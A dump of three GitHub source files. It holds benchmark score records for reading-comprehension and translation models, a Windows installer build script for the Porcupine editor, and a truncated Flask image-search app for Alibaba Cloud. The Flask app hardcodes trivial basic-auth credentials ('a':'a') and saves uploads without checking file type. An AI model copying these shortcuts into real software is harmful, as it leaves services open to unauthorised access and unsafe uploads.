Text\")\nmctest160.measure(date(2015, 7, 26), 75.27, \"Wang-et-al\", url=\"http://arxiv.org/abs/1603.08884\")\nmctest160.measure(date(2015, 7, 26), 73.27, \"Narasimhan-model3\", url=\"https://people.csail.mit.edu/regina/my_papers/MCDR15.pdf\", papername=\"Machine Comprehension with Discourse Relations\")\nmctest160.measure(date(2016, 3, 29), 74.58, \"Parallel-Hierarchical\", url=\"http://arxiv.org/abs/1603.08884\")\n\nmctest500 = reading_comprehension.metric(\"Reading comprehension MCTest-500-all\", scale=correct_percent, url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2016/11/MCTest_EMNLP2013.pdf\")\nmctest500.measure(date(2013, 10, 1), 63.33, \"SW+D+RTE\", url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2016/11/MCTest_EMNLP2013.pdf\", papername=\"MCTest: A Challenge Dataset for the Open-Domain Machine Comprehension of Text\")\nmctest500.measure(date(2015, 7, 26), 69.94, \"Wang-et-al\", url=\"http://arxiv.org/abs/1603.08884\")\nmctest500.measure(date(2015, 7, 26), 63.75, \"Narasimhan-model3\", url=\"https://people.csail.mit.edu/regina/my_papers/MCDR15.pdf\", papername=\"Machine Comprehension with Discourse Relations\")\nmctest500.measure(date(2015, 7, 26), 67.83, \"LSSVM\", url=\"https://pdfs.semanticscholar.org/f26e/088bc4659a9b7fce28b6604d26de779bcf93.pdf\", papername=\"Learning Answer-Entailing Structures for Machine Comprehension\")\nmctest500.measure(date(2016, 3, 29), 71.00, \"Parallel-Hierarchical\", url=\"http://arxiv.org/abs/1603.08884\")\n\ncbtest_cn = reading_comprehension.metric(\"bAbi Children's Book comprehension CBtest CN\", url=\"http://fb.ai/babi\", scale=correct_percent, target=81.6, target_source=\"https://arxiv.org/abs/1511.02301\")\ncnn = reading_comprehension.metric(\"CNN Comprehension test\", url=\"https://github.com/deepmind/rc-data/\", scale=correct_percent)\ndaily_mail = reading_comprehension.metric(\"Daily Mail Comprehension test\", url=\"https://github.com/deepmind/rc-data/\", scale=correct_percent)\nsquad_em = reading_comprehension.metric(\"Stanford Question Answering Dataset EM test\", url=\"https://stanford-qa.com/\", target=82.304, target_source=\"http://arxiv.org/abs/1606.05250\")\nsquad_f1 = reading_comprehension.metric(\"Stanford Question Answering Dataset F1 test\", url=\"https://stanford-qa.com/\", target=91.221, target_source=\"http://arxiv.org/abs/1606.05250\")\n\ncnn.measure(date(2015, 6, 10), 63.0, \"Attentive reader\", url=\"https://arxiv.org/abs/1506.03340\")\ncnn.measure(date(2015, 6, 10), 63.8, \"Impatient reader\", url=\"https://arxiv.org/abs/1506.03340\")\ndaily_mail.measure(date(2015, 6, 10), 69.0, \"Attentive reader\", url=\"https://arxiv.org/abs/1506.03340\")\ndaily_mail.measure(date(2015, 6, 10), 68.0, \"Impatient reader\", url=\"https://arxiv.org/abs/1506.03340\")\n\ncnn.measure(date(2016, 6, 7), 75.7, \"AIA\", url=\"https://arxiv.org/abs/1606.02245v1\")\n\ncbtest_ne = reading_comprehension.metric(\"bAbi Children's Book comprehension CBtest NE\", url=\"http://fb.ai/babi\", scale=correct_percent, target=81.6, target_source=\"https://arxiv.org/abs/1511.02301\")\ncbtest_ne.measure(date(2016, 6, 7), 72.0, \"AIA\", url=\"https://arxiv.org/abs/1606.02245v1\")\ncbtest_ne.measure(date(2016, 6, 7), 71.0, \"AIA\", url=\"https://arxiv.org/abs/1606.02245v1\")\ncbtest_ne.measure(date(2019,2,14), 89.05, \"GPT2 (zero shot)\", not_directly_comparable=True, url=\"https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf\", papername=\"Language Models are Unsupervised Multitask Learners\") \ncbtest_ne.measure(None, 79.4, \"AttSum-Feat+L2\", url=\"https://arxiv.org/abs/1810.02891\")\n\ncbtest_cn.measure(date(2019,2,14), 93.3, \"GPT2 (zero shot)\", not_directly_comparable=True, url=\"https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf\", papername=\"Language Models are Unsupervised Multitask Learners\") \n\n\ncnn.measure(date(2016, 11, 9), 76.1, \"AIA\", url=\"https://arxiv.org/abs/1606.02245v4\")\n\ncnn.measure(date(2016, 6, 7), 74.0, \"EpiReader\", url=\"https://arxiv.org/abs/1606.02270\")\ncbtest_ne.measure(date(2016, 6, 7), 69.7, \"EpiReader\", url=\"https://arxiv.org/abs/1606.02270\")\ncbtest_cn.measure(date(2016, 6, 7), 67.4, \"EpiReader\", url=\"https://arxiv.org/abs/1606.02270\")\n\ncbtest_cn.measure(date(2016, 6, 5), 69.4, \"GA reader\", url=\"https://arxiv.org/abs/1606.01549v1\")\ncbtest_ne.measure(date(2016, 6, 5), 71.9, \"GA reader\", url=\"https://arxiv.org/abs/1606.01549v1\")\ncnn.measure(date(2016, 6, 5), 77.4, \"GA reader\", url=\"https://arxiv.org/abs/1606.01549v1\")\ndaily_mail.measure(date(2016, 6, 5), 78.1, \"GA reader\", url=\"https://arxiv.org/abs/1606.01549v1\")\n\ncnn.measure(None, 77.9, \"GA update L(w)\", url=\"https://arxiv.org/abs/1606.01549v2\")\ndaily_mail.measure(None, 80.9, \"GA update L(w)\", url=\"https://arxiv.org/abs/1606.01549v2\")\ncbtest_ne.measure(None, 74.9, \"GA +feature, fix L(w)\", url=\"https://arxiv.org/abs/1606.01549v2\")\ncbtest_cn.measure(None, 70.7, \"GA +feature, fix L(w)\", url=\"https://arxiv.org/abs/1606.01549v2\")\n\ncnn.measure(None, 74.7, \"ReasoNet\", url=\"https://arxiv.org/abs/1609.05284v1\")\ndaily_mail.measure(None, 76.6, \"ReasoNet\", url=\"https://arxiv.org/abs/1609.05284v1\")\nsquad_em.measure(None, 73.4, \"ReasoNet ensemble\", url=\"https://arxiv.org/abs/1609.05284v3\")\nsquad_f1.measure(None, 82.9, \"ReasoNet ensemble\", url=\"https://arxiv.org/abs/1609.05284v3\")\n\ncnn.measure(None, 78.6, \"GA+MAGE (32)\", url=\"https://arxiv.org/abs/1703.02620v1\")\n# Neural semantic encoders invented in https://arxiv.org/abs/1607.04315v1 and retrospectively applied to CBTest by other authors\ncbtest_ne.measure(date(2016, 12, 1), 73.2, \"NSE\", url=\"https://arxiv.org/abs/1606.01549v2\", algorithm_src_url=\"https://arxiv.org/abs/1607.04315\", min_date=date(2016,7,4))\ncbtest_cn.measure(date(2016, 12, 1), 71.9, \"NSE\", url=\"https://arxiv.org/abs/1606.01549v2\", algorithm_src_url=\"https://arxiv.org/abs/1607.04315\", min_date=date(2016,7,4))\n\n\ncnn.measure(date(2016, 8, 4), 74.4, \"AoA reader\", url=\"https://arxiv.org/pdf/1607.04423\")\ncbtest_ne.measure(date(2016, 8, 4), 72.0, \"AoA reader\", url=\"https://arxiv.org/pdf/1607.04423\")\ncbtest_cn.measure(date(2016, 8, 4), 69.4, \"AoA reader\", url=\"https://arxiv.org/pdf/1607.04423\")\n\ncnn.measure(None, 70.0, \"CAS reader\", url=\"https://arxiv.org/abs/1607.02250v2\")\ncbtest_ne.measure(None, 69.2, \"CAS reader\", url=\"https://arxiv.org/abs/1607.02250v2\")\ncbtest_cn.measure(None, 65.7, \"CAS reader\", url=\"https://arxiv.org/abs/1607.02250v2\")\n\ncnn.measure(date(2016, 8, 8), 77.6, \"Attentive+relabling+ensemble\", url=\"https://arxiv.org/abs/1606.02858\")\ndaily_mail.measure(date(2016, 8, 8), 79.2, \"Attentive+relabling+ensemble\", url=\"https://arxiv.org/abs/1606.02858\")\n\ncnn.measure(None, 75.4, \"AS reader (avg)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ncnn.measure(None, 74.8, \"AS reader (greedy)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ndaily_mail.measure(None, 77.1, \"AS reader (avg)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ndaily_mail.measure(None, 77.7, \"AS reader (greedy)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ncbtest_ne.measure(None, 70.6, \"AS reader (avg)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ncbtest_ne.measure(None, 71.0, \"AS reader (greedy)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ncbtest_cn.measure(None, 68.9, \"AS reader (avg)\", url=\"https://arxiv.org/abs/1603.01547v1\")\ncbtest_cn.measure(None, 67.5, \"AS reader (greedy)\", url=\"https://arxiv.org/abs/1603.01547v1\")\n\n\ncnn.measure(date(2017,10,7), 74.4, \"DIM Reader\", papername=\"DIM Reader: Dual Interaction Mode for Machine Comprehension\", url=\"http://www.cips-cl.org/static/anthology/CCL-2017/CCL-17-075.pdf\")\ncbtest_ne.measure(date(2017,10,7), 72.2, \"DIM Reader\", papername=\"DIM Reader: Dual Interaction Mode for Machine Comprehension\", url=\"http://www.cips-cl.org/static/anthology/CCL-2017/CCL-17-075.pdf\")\ncbtest_cn.measure(date(2017,10,7), 70.0, \"DIM Reader\", papername=\"DIM Reader: Dual Interaction Mode for Machine Comprehension\", url=\"http://www.cips-cl.org/static/anthology/CCL-2017/CCL-17-075.pdf\")\n\nsquad_em.measure(None, 75.37, \"MEMEN\", url=\"https://arxiv.org/abs/1707.09098v1\")\nsquad_f1.measure(None, 82.66, \"MEMEN\", url=\"https://arxiv.org/abs/1707.09098v1\")\n\nsquad_em.measure(date(2017, 3, 8), 76.922, \"r-net (ensemble)\", url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2017/05/r-net.pdf\")\nsquad_f1.measure(date(2017, 3, 8), 84.006, \"r-net (ensemble)\", url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2017/05/r-net.pdf\")\n\nsquad_em.measure(date(2017, 3, 8), 74.614, \"r-net (single model)\", url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2017/05/r-net.pdf\")\nsquad_f1.measure(date(2017, 3, 8), 82.458, \"r-net (single model)\", url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2017/05/r-net.pdf\")\n\nsquad_em.measure(date(2017, 5, 8), 73.754, \"Mnemonic reader (ensemble)\", url=\"https://arxiv.org/pdf/1705.02798.pdf\")\nsquad_f1.measure(date(2017, 5, 8), 81.863, \"Mnemonic reader (ensemble)\", url=\"https://arxiv.org/pdf/1705.02798.pdf\")\n\nsquad_em.measure(date(2017, 4, 20), 73.723, \"SEDT+BiDAF (ensemble)\", url=\"https://arxiv.org/pdf/1703.00572.pdf\")\nsquad_f1.measure(date(2017, 4, 20), 81.53, \"SEDT+BiDAF (ensemble)\", url=\"https://arxiv.org/pdf/1703.00572.pdf\")\n\nsquad_em.measure(date(2017, 2, 24), 73.744, \"BiDAF (ensemble)\", url=\"https://arxiv.org/abs/1611.01603\")\nsquad_f1.measure(date(2017, 2, 24), 81.525, \"BiDAF (ensemble)\", url=\"https://arxiv.org/abs/1611.01603\")\n\nsquad_em.measure(date(2017, 5,31), 73.01, \"jNet (ensemble)\",url=\"https://arxiv.org/abs/1703.04617\", min_date=date(2017,5,1))\nsquad_f1.measure(date(2017, 5,31), 81.517, \"jNet (ensemble)\", url=\"https://arxiv.org/abs/1703.04617\", min_date=date(2017,5,1))\n\nsquad_em.measure(date(2016, 12, 13), 73.765, \"MPM (ensemble)\", url=\"https://arxiv.org/abs/1612.04211\")\nsquad_f1.measure(date(2016, 12, 13), 81.257, \"MPM (ensemble)\", url=\"https://arxiv.org/abs/1612.04211\")\n\nsquad_em.measure(date(2016, 11, 4), 66.233, \"Dynamic Coattention Networks (single model)\", url=\"https://arxiv.org/pdf/1611.01604v1\")\nsquad_f1.measure(date(2016, 11, 4), 75.896, \"Dynamic Coattention Networks (single model)\", url=\"https://arxiv.org/pdf/1611.01604v1\")\n\nsquad_em.measure(date(2016, 11, 4), 71.625, \"Dynamic Coattention Networks (ensemble)\", url=\"https://arxiv.org/pdf/1611.01604v1\")\nsquad_f1.measure(date(2016, 11, 4), 80.383, \"Dynamic Coattention Networks (ensemble)\", url=\"https://arxiv.org/pdf/1611.01604v1\")\n\nsquad_em.measure(date(2017, 5,31), 70.607, \"jNet (single model)\", url=\"https://arxiv.org/abs/1703.04617\", min_date=date(2017,5,1))\nsquad_f1.measure(date(2017, 5,31), 79.456, \"jNet (single model)\", url=\"https://arxiv.org/abs/1703.04617\", min_date=date(2017,5,1))\n\nsquad_em.measure(date(2017, 4, 24), 70.639, \"Ruminating Reader (single model)\", url=\"https://arxiv.org/pdf/1704.07415.pdf\")\nsquad_f1.measure(date(2017, 4, 24), 79.821, \"Ruminating Reader (single model)\", url=\"https://arxiv.org/pdf/1704.07415.pdf\")\n\nsquad_em.measure(date(2017, 3, 31), 70.733, \"Document Reader (single model)\", url=\"https://arxiv.org/abs/1704.00051\")\nsquad_f1.measure(date(2017, 3, 31), 79.353, \"Document Reader (single model)\", url=\"https://arxiv.org/abs/1704.00051\")\n\nsquad_em.measure(date(2017, 5, 8), 69.863, \"Mnemonic reader (single model)\", url=\"https://arxiv.org/pdf/1705.02798.pdf\")\nsquad_f1.measure(date(2017, 5, 8), 79.207, \"Mnemonic reader (single model)\", url=\"https://arxiv.org/pdf/1705.02798.pdf\")\n\nsquad_em.measure(date(2016, 12, 29), 70.849, \"FastQAExt\", url=\"https://arxiv.org/abs/1703.04816\")\nsquad_f1.measure(date(2016, 12, 29), 78.857, \"FastQAExt\", url=\"https://arxiv.org/abs/1703.04816\")\n\nsquad_em.measure(date(2016, 12, 13), 70.387, \"MPM (single model)\", url=\"https://arxiv.org/abs/1612.04211\")\nsquad_f1.measure(date(2016, 12, 13), 78.784, \"MPM (single model)\", url=\"https://arxiv.org/abs/1612.04211\")\n\nsquad_em.measure(date(2017, 5, 31), 70.849, \"RaSoR (single model)\", url=\"https://arxiv.org/abs/1611.01436\", min_date=date(2017,5,1))\nsquad_f1.measure(date(2017, 5, 31), 78.741, \"RaSoR (single model)\", url=\"https://arxiv.org/abs/1611.01436\", min_date=date(2017,5,1))\n\nsquad_em.measure(date(2017, 4, 20), 68.478, \"SEDT+BiDAF (single model)\", url=\"https://arxiv.org/pdf/1703.00572.pdf\")\nsquad_f1.measure(date(2017, 4, 20), 77.971, \"SEDT+BiDAF (single model)\", url=\"https://arxiv.org/pdf/1703.00572.pdf\")\n\nsquad_em.measure(date(2016, 11, 29), 68.478, \"BiDAF (single model)\", url=\"https://arxiv.org/abs/1611.01603\")\nsquad_f1.measure(date(2016, 11, 29), 77.971, \"BiDAF (single model)\", url=\"https://arxiv.org/abs/1611.01603\")\n\nsquad_em.measure(date(2016, 12, 29), 68.436, \"FastQA\", url=\"https://arxiv.org/abs/1703.04816\")\nsquad_f1.measure(date(2016, 12, 29), 77.07, \"FastQA\", url=\"https://arxiv.org/abs/1703.04816\")\n\nsquad_em.measure(date(2016, 11, 7), 67.901, \"Match-LSTM+Ans-Ptr\", url=\"https://arxiv.org/pdf/1608.07905v2\")\nsquad_f1.measure(date(2016, 11, 7), 77.022, \"Match-LSTM+Ans-Ptr\", url=\"https://arxiv.org/pdf/1608.07905v2\")\n\nsquad_em.measure(date(2017, 8, 21), 77.678, \"RMR (ensemble)\", url=\"https://arxiv.org/abs/1705.02798\")\nsquad_f1.measure(date(2017, 8, 21), 84.888, \"RMR (ensemble)\", url=\"https://arxiv.org/abs/1705.02798\")\n\nsquad_em.measure(date(2017, 8, 16), 78.706, \"DCN+ (ensemble)\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\nsquad_f1.measure(date(2017, 8, 16), 85.619, \"DCN+ (ensemble)\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\n\nsquad_em.measure(date(2017, 9, 20), 78.842, \"AIR-FusionNet (ensemble)\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\nsquad_f1.measure(date(2017, 9, 20), 85.936, \"AIR-FusionNet (ensemble)\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\n\nsquad_f1.measure(None, 93.2, \"BERT+TriviaQA\", url=\"https://arxiv.org/pdf/1810.04805.pdf\", not_directly_comparable=True)\nsquad_em.measure(None, 87.4, \"BERT+TriviaQA\", url=\"https://arxiv.org/pdf/1810.04805.pdf\", not_directly_comparable=True)\n\nsquad_f1.measure(date(2019,3,5), 89.147, \"BERT+ngram+sst\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\nsquad_em.measure(date(2019,3,5), 86.673, \"BERT+ngram+sst\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\n\nsquad_em.measure(date(2018,9,26), 85.954, \"nlnet ensemble\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\nsquad_f1.measure(date(2018,9,26), 91.677, \"nlnet ensemble\", url=\"https://rajpurkar.github.io/SQuAD-explorer/\")\n\nsquad_f1.measure(None, 95.1, \"XLNet\", url=\"https://arxiv.org/pdf/1906.08237.pdf\")\nsquad_em.measure(None, 89.7, \"XLNet\", url=\"https://arxiv.org/pdf/1906.08237.pdf\")\n\ntranslation = Problem(\"Translation between human langauges\", [\"agi\", \"language\"])\nen_fr_bleu = translation.metric(\"news-test-2014 En-Fr BLEU\", url=\"http://aclweb.org/anthology/P/P02/P02-1040.pdf\", scale=bleu_score, target_label=\"Identical to professional human translations\", target=50)\nen_de_bleu = translation.metric(\"news-test-2014 En-De BLEU\", url=\"http://aclweb.org/anthology/P/P02/P02-1040.pdf\", scale=bleu_score, target_label=\"Identical to professional human translations\", target=50)\nen_de_bleu15 = translation.metric(\"news-test-2015 En-De BLEU\", scale=bleu_score, target_label=\"Identical to professional human translations\", target=50)\nen_ro_bleu = translation.metric(\"news-test-2016 En-Ro BLEU\", url=\"http://www.statmt.org/wmt16/book.pdf\", scale=bleu_score, target_label=\"Identical to professional human translations\", target=50)\n\nen_zh_bleu = translation.metric(\"LDC En-De BLEU\", url=\"https://arxiv.org/pdf/1703.04887.pdf\", scale=bleu_score, target_label=\"Identical to professional human translations\", target=50)\n\nen_fr_bleu.measure(None, 37, \"PBMT\", url=\"http://www.anthology.aclweb.org/W/W14/W14-33.pdf\", papername=u\"Edinburgh’s phrase-based machine translation systems for WMT-14\", venue=\"WMT 2014\")\nen_de_bleu.measure(None, 20.7, \"PBMT\", url=\"http://www.anthology.aclweb.org/W/W14/W14-33.pdf\", papername=u\"Edinburgh’s phrase-based machine translation systems for WMT-14\", venue=\"WMT 2014\")\n\nen_fr_bleu.measure(date(2014, 9, 1), 36.15, \"RNN-search50*\", url=\"https://arxiv.org/abs/1409.0473\")\nen_fr_bleu.measure(date(2014, 10, 30), 37.5, \"LSTM6 + PosUnk\", url=\"https://arxiv.org/abs/1410.8206\")\n\n# XXX need a better way of indicating that LSTM is old.... we don't want the axes running\n# all the way back to 1997; maybe we can use ellipses?\nen_fr_bleu.measure(None, 34.81, \"LSTM\", \"https://arxiv.org/abs/1409.3215v1\", algorithm_src_url=\"http://www.bioinf.jku.at/publications/older/2604.pdf\")#, min_date=date(2010,1,1))\nen_fr_bleu.measure(None, 36.5, \"SMT+LSTM5\", \"https://arxiv.org/abs/1409.3215v1\")\n\nen_fr_bleu.measure(date(2016, 9, 26), 39.92, \"GNMT+RL\", url=\"https://arxiv.org/abs/1609.08144\")\nen_de_bleu.measure(date(2016, 9, 26), 26.30, \"GNMT+RL\", url=\"https://arxiv.org/abs/1609.08144\")\n\n# Lots of this data is coming via https://arxiv.org/abs/1609.08144\nen_fr_bleu.measure(date(2016, 7, 23), 39.2, \"Deep-Att + PosUnk\", url=\"https://arxiv.org/abs/1606.04199\")\nen_de_bleu.measure(date(2016, 7, 23), 20.7, \"Deep-Att\", url=\"https://arxiv.org/abs/1606.04199\")\n\nen_fr_bleu.measure(date(2017, 1, 23), 40.56, \"MoE 2048\", url=\"https://arxiv.org/pdf/1701.06538\")\nen_de_bleu.measure(date(2017, 1, 23), 26.03, \"MoE 2048\", url=\"https://arxiv.org/pdf/1701.06538\")\n\nen_de_bleu15.measure(date(2015,9,17), 24.1, \"S2Tree+5gram NPLM\", url=\"http://aclweb.org/anthology/W15-3024.pdf\", papername=\"Edinburgh's Syntax-Based Systems at WMT 2015\")\nen_de_bleu15.measure(None, 21.72, \"Enc-Dec Att (BPE)\", url=\"https://arxiv.org/abs/1603.06147v1\")\nen_de_bleu15.measure(None, 23.45, \"Enc-Dec Att (char)\", url=\"https://arxiv.org/abs/1603.06147v1\")\n\nen_de_bleu15.measure(None, 26.26, \"ByteNet\", url=\"https://arxiv.org/abs/1610.10099\")\nen_de_bleu.measure(None, 23.75, \"ByteNet\", url=\"https://arxiv.org/abs/1610.10099\")\nhp_compression.measure(None, 1.31, \"ByteNet\", url=\"https://arxiv.org/abs/1610.10099\")\n\nen_fr_bleu.measure(None, 41.29, \"ConvS2S (ensemble)\", url=\"https://arxiv.org/abs/1705.03122v2\")\nen_de_bleu.measure(None, 26.36, \"ConvS2S (ensemble)\", url=\"https://arxiv.org/abs/1705.03122v2\")\nen_fr_bleu.measure(None, 40.46, \"ConvS2S\", url=\"https://arxiv.org/abs/1705.03122v2\")\nen_de_bleu.measure(None, 25.16, \"ConvS2S\", url=\"https://arxiv.org/abs/1705.03122v2\")\n\nen_de_bleu.measure(None, 26.1, \"SliceNet\", url=\"https://arxiv.org/abs/1706.03059\")\n\nen_fr_bleu.measure(None, 38.1, \"Transformer\", url=\"https://arxiv.org/pdf/1706.03762.pdf\")\nen_de_bleu.measure(None, 27.3, \"Transformer\", url=\"https://arxiv.org/pdf/1706.03762.pdf\")\nen_fr_bleu.measure(None, 41, \"Transformer (big)\", url=\"https://arxiv.org/pdf/1706.03762.pdf\")\nen_de_bleu.measure(None, 28.4, \"Transformer (big)\", url=\"https://arxiv.org/pdf/1706.03762.pdf\")\n\nen_de_bleu.measure(None, 27.9, \"Transformer+BR-CSGAN\", url=\"https://arxiv.org/pdf/1703.04887.pdf\")\nen_zh_bleu.measure(None, 22.89, \"Transformer+BR-CSGAN\", url=\"https://arxiv.org/pdf/1703.04887.pdf\")\n\nen_fr_bleu.measure(None, 28.45, \"RNNsearch-50\", url=\"https://arxiv.org/pdf/1409.0473\")\nen_de_bleu.measure(date(2016, 7, 14), 17.93, \"NSE-NSE\", url=\"https://arxiv.org/abs/1607.04315v1\")\n\nen_de_bleu.measure(None, 28.36, \"FRAGE\", url=\"https://arxiv.org/pdf/1809.06858.pdf\")\n\nen_ro_bleu.measure(date(2016, 7, 11), 28.9, \"GRU BPE90k\", papername=\"The QT21/HimL Combined Machine Translation System\", url=\"http://www.statmt.org/wmt16/pdf/W16-2320.pdf\")\nen_ro_bleu.measure(None, 29.88, \"ConvS2S BPE40k\", url=\"https://arxiv.org/abs/1705.03122v2\")\n\n# XXX add more languages\n","repo_name":"AI-metrics/AI-metrics","sub_path":"data/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":33263,"program_lang":"python","lang":"en","doc_type":"code","stars":432,"dataset":"github-code","pt":"54"} +{"seq_id":"17004594290","text":"# FIXME: this contains copy/pasta from setup.py\nimport configparser\nimport functools\nimport os\nimport pathlib\nimport platform\nimport re\nimport shutil\nimport struct\nimport subprocess\nimport sys\n\nimport PIL.Image\n\n\nassert platform.system() == 'Windows', \"this script must be ran on windows\"\n\n# it's possible to run a 32-bit python on a 64-bit windows, but it would\n# probably screw up tkinter dll stuff... looking at help('struct'),\n# struct.calcsize('P') returns the size of a pointer, which is 32 bits or 64\n# bits depending on the python, and 32 bits == 4 bytes\nassert not (struct.calcsize('P') == 4 and '64' in platform.machine()), (\n \"this script can't be ran with 32-bit Python on a 64-bit Windows, \"\n \"install a 64-bit Python instead\")\n\n\n# setup.py copy pasta\ndef get_requirements():\n with open('requirements.txt', 'r') as file:\n for line in map(str.strip, file):\n if (not line.startswith('#')) and line:\n yield line\n\n\n# setup.py copy pasta\ndef find_metadata():\n with open(os.path.join('porcupine', '__init__.py')) as file:\n content = file.read()\n\n result = dict(re.findall(\n r'''^__(author|copyright|license)__ = ['\"](.*)['\"]$''',\n content, re.MULTILINE))\n assert result.keys() == {'author', 'copyright', 'license'}, result\n\n # version is defined like this: __version__ = '%d.%d.%d' % version_info\n version_info = re.search(r'^version_info = \\((\\d+), (\\d+), (\\d+)\\)',\n content, re.MULTILINE).groups()\n result['version'] = '%s.%s.%s' % version_info\n\n return result\n\n\n# info(\"asd\") prints \"build-exe-installer.py: asd\"\ninfo = functools.partial(print, sys.argv[0] + ':')\n\n\ndef get_frozen_requirements_in_a_crazy_way():\n info(\"Creating a temporary virtualenv and installing everything into it \"\n \"in order to get output from 'pip freeze' to figure out which \"\n \"dependencies to bundle...\")\n subprocess.check_call([sys.executable, '-m', 'venv', 'temp_env'])\n\n try:\n subprocess.check_call([\n r'temp_env\\Scripts\\python.exe', '-m',\n 'pip', 'install', '-r', 'requirements.txt'])\n frozen = subprocess.check_output([\n r'temp_env\\Scripts\\python.exe', '-m', 'pip', 'freeze'\n ]).decode('utf-8').strip().splitlines()\n finally:\n shutil.rmtree('temp_env')\n\n return [requirement for requirement in frozen\n if not requirement.lower().startswith('porcupine==')]\n\n\ndef mkdir_empty(path):\n try:\n os.mkdir(path)\n except FileExistsError:\n shutil.rmtree(path)\n os.mkdir(path)\n\n\n# https://pynsist.readthedocs.io/en/latest/faq.html#packaging-with-tkinter\ndef copy_tkinter_files():\n info(\"Copying tkinter files...\")\n shutil.copytree(os.path.join(sys.prefix, 'tcl'), 'lib')\n\n # basic pathlib... need to convert between Paths and strings a lot\n # i'm using pathlib because sys.prefix might contain a * and it would screw\n # up globbing, unless i use glob.escape\n mkdir_empty('pynsist_pkgs')\n dlldir = pathlib.Path(sys.prefix) / 'DLLs'\n for file in list(dlldir.glob('tk*.dll')) + list(dlldir.glob('tcl*.dll')):\n file = str(file)\n shutil.copy(file, 'pynsist_pkgs')\n\n shutil.copy(str(dlldir / '_tkinter.pyd'), 'pynsist_pkgs')\n shutil.copy(os.path.join(sys.prefix, 'libs', '_tkinter.lib'),\n 'pynsist_pkgs')\n\n\ndef create_ico_file():\n info(r\"Converting porcupine\\images\\logo-200x200.gif to .ico format...\")\n logo = PIL.Image.open(r'porcupine\\images\\logo-200x200.gif')\n logo.save('porcupine-logo.ico')\n\n\ndef create_pynsist_cfg():\n parser = configparser.ConfigParser()\n parser['Application'] = {\n 'name': 'Porcupine',\n 'version': find_metadata()['version'],\n 'entry_point': 'porcupine.__main__:main', # setup.py copy pasta\n 'icon': 'porcupine-logo.ico',\n 'license_file': 'LICENSE',\n }\n parser['Python'] = {\n 'version': '%d.%d.%d' % sys.version_info[:3],\n }\n parser['Include'] = {\n 'pypi_wheels': '\\n'.join(get_frozen_requirements_in_a_crazy_way()),\n 'packages': 'tkinter\\n_tkinter',\n 'files': 'porcupine/images\\nlib',\n }\n\n info(\"Creating pynsist.cfg...\")\n with open('pynsist.cfg', 'w') as file:\n parser.write(file)\n\n\ndef run_pynsist():\n info(\"Running pynsist...\")\n subprocess.check_call([sys.executable, '-m', 'nsist', 'pynsist.cfg'])\n\n\ndef main():\n for path in [r'build\\nsis', 'pynsist_pkgs', 'lib']:\n try:\n shutil.rmtree(path)\n info(\"Deleted\", path)\n except FileNotFoundError:\n pass\n\n copy_tkinter_files()\n create_ico_file()\n create_pynsist_cfg()\n run_pynsist()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"HQ2013/porcupine","sub_path":"build-exe-installer.py","file_name":"build-exe-installer.py","file_ext":"py","file_size_in_byte":4750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"3514072134","text":"# ローカルHTMLサーバのポート解放。自動起動\n\n\n################# モジュール準備 ##################\nimport os\nimport pprint\nimport json\nimport sqlite3\nimport flask\nimport random, string\nfrom PIL import Image\nfrom flask import Flask, render_template, request, redirect, url_for, send_from_directory, session\n#for basic\nfrom time import sleep\nfrom flask_httpauth import HTTPBasicAuth\nauth = HTTPBasicAuth()\nfrom werkzeug import secure_filename\napp = Flask(__name__)\n\nfrom aliyunsdkcore.client import AcsClient\nimport base64\nimport aliyunsdkimagesearch.request.v20190325.AddImageRequest as AddImageRequest\nimport aliyunsdkimagesearch.request.v20190325.DeleteImageRequest as DeleteImageRequest\nimport aliyunsdkimagesearch.request.v20190325.SearchImageRequest as SearchImageRequest\n\n####### bootstrapのモジュール追加 #######\nfrom flask_bootstrap import Bootstrap\n\n####### bootstrapを起動 ########\nbootstrap = Bootstrap(app)\n\n########### Basic ##########\nusers = {\n \"a\": \"a\"\n}\n\n@auth.get_password\ndef get_pw(username):\n if username in users:\n return users.get(username)\n return None\n\n########## Access Data Setting ###########\nclient = AcsClient(\n \"AccessKey ID\",\n \"AccessKey PASS\",\n \"ap-northeast-1\"\n#from System reply:endpoint imagesearch.ap-northeast-1.aliyuncs.com\n\n)\n###########################################\n\n\n\nUPLOAD_FOLDER = '/root/bootstrap/static'\n\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['SECRET_KEY'] = os.urandom(24)\n\n\n############ HTMLトップ画面表示 ##########\n@app.route('/')\n# for basic\n@auth.login_required\ndef index():\n return render_template('bootstrap.html')\n\n##########################################\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n\n\n##########################################\n\ndef GetRandomStr(num):\n # 英数字をすべて取得\n dat = string.digits + string.ascii_lowercase + string.ascii_uppercase\n\n # 英数字からランダムに取得\n return ''.join([random.choice(dat) for i in range(num)])\n\n\n################ Main ###################\n\n@app.route('/', methods=['GET', 'POST'])\ndef search():\n img_file = request.files['img_file']\n filename = secure_filename(img_file.filename)\n hisyatai = GetRandomStr(10) +\".jpg\" \n img_file.save(os.path.join(app.config['UPLOAD_FOLDER'], hisyatai))\n \n select = 